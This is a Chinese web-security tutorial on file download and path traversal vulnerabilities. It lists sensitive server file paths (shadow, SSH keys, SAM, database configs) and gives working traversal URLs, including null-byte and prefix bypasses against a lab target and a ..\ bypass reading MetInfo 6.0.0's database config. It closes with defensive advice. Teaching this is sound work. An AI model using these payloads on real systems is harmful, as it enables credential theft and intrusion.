[红日安全]Web安全Day9 - 文件下载漏洞实战攻防
字数 1194 2025-08-18 11:39:19
Web安全实战:文件下载漏洞攻防详解
1. 文件下载漏洞概述
1.1 漏洞简介
文件下载漏洞是指网站提供的文件查看或下载功能未对用户请求的文件进行严格限制,导致攻击者能够读取或下载服务器上的任意文件,包括:
- 源代码文件
- 系统配置文件
- 敏感数据文件
1.2 漏洞危害
- 泄露服务器敏感信息(数据库配置、系统密码等)
- 获取网站源代码,便于分析其他漏洞
- 提高系统被入侵的风险
- 可能导致服务器完全沦陷
1.3 漏洞利用条件
- 存在读取文件的函数(如PHP的
readfile()) - 文件路径由用户控制且未严格校验
- 文件内容被直接输出到客户端
2. 漏洞测试方法
2.1 测试思路
- 寻找网站中文件下载或查看的功能点
- 尝试通过目录遍历获取敏感文件
- 测试不同路径绕过方式
2.2 常见敏感文件路径
Windows系统
C:\boot.ini // 查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml // IIS配置文件
C:\Windows\repair\sam // 存储系统初次安装的密码
C:\Program Files\mysql\my.ini // Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD // Mysql root密码
C:\Windows\php.ini // php配置信息
Linux系统
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/proc/self/fd/fd[0-9]* // 文件标识符
/proc/mounts
/porc/config.gz
3. 靶场测试实例
3.1 环境搭建
使用Web for Pentester靶场:
- 下载地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
- VMware安装镜像文件
- 启动后查看IP地址即可访问
3.2 实例分析
Example 1:无任何限制
漏洞代码:
$UploadDir = '/var/www/files/';
$file = $_GET['file'];
$path = $UploadDir . $file;
$handle = fopen($path, 'rb');
// 读取并输出文件内容
利用方式:
直接使用../进行目录遍历:
http://靶机IP/dirtrav/example1.php?file=../../etc/passwd
Example 2:路径前缀限制
漏洞代码:
$file = $_GET['file'];
if (!(strstr($file,"/var/www/files/"))) die();
// 必须包含/var/www/files/路径
绕过方法:
在满足路径前缀要求下进行目录遍历:
http://靶机IP/dirtrav/example2.php?file=/var/www/files/../../etc/passwd
Example 3:空字节截断
漏洞代码:
$path = $UploadDir . $file.".png";
$path = preg_replace('/\x00.*/', '', $path);
// 添加.png后缀但存在空字节截断漏洞
利用方式:
使用空字节(%00)截断后缀:
http://靶机IP/dirtrav/example3.php?file=../../etc/passwd%00
4. CMS实战案例:MetInfo 6.0.0
4.1 环境搭建
- 下载地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
- 使用phpstudy在Windows环境下安装
4.2 漏洞分析
漏洞位置:/include/thumb.php?dir=
漏洞代码(old_thumb.class.php):
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http'
&& strpos($dir, '../') === false){
readfile($dir);
}
安全缺陷:
- 仅过滤
../和./,未过滤..\ - 路径检查不严格
4.3 漏洞利用
Windows环境下绕过:
http://127.0.0.1/MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php
5. 防御方案
-
严格过滤:
- 过滤所有目录遍历字符:
../,./,..\ - 使用白名单限制可访问的文件类型
- 过滤所有目录遍历字符:
-
路径校验:
- 检查文件路径是否在允许的目录范围内
- 使用绝对路径+基准目录限制
-
其他措施:
- 禁用危险函数(如
readfile()) - 对文件下载功能进行权限控制
- 使用PHP的
realpath()函数解析真实路径
- 禁用危险函数(如
6. 总结
文件下载漏洞是Web应用中常见的高危漏洞,攻击者利用此漏洞可以获取服务器敏感信息。开发人员应严格校验用户输入的文件路径,避免目录遍历攻击。安全测试人员在进行渗透测试时,应重点检查所有文件下载功能点,尝试各种绕过方式验证漏洞是否存在。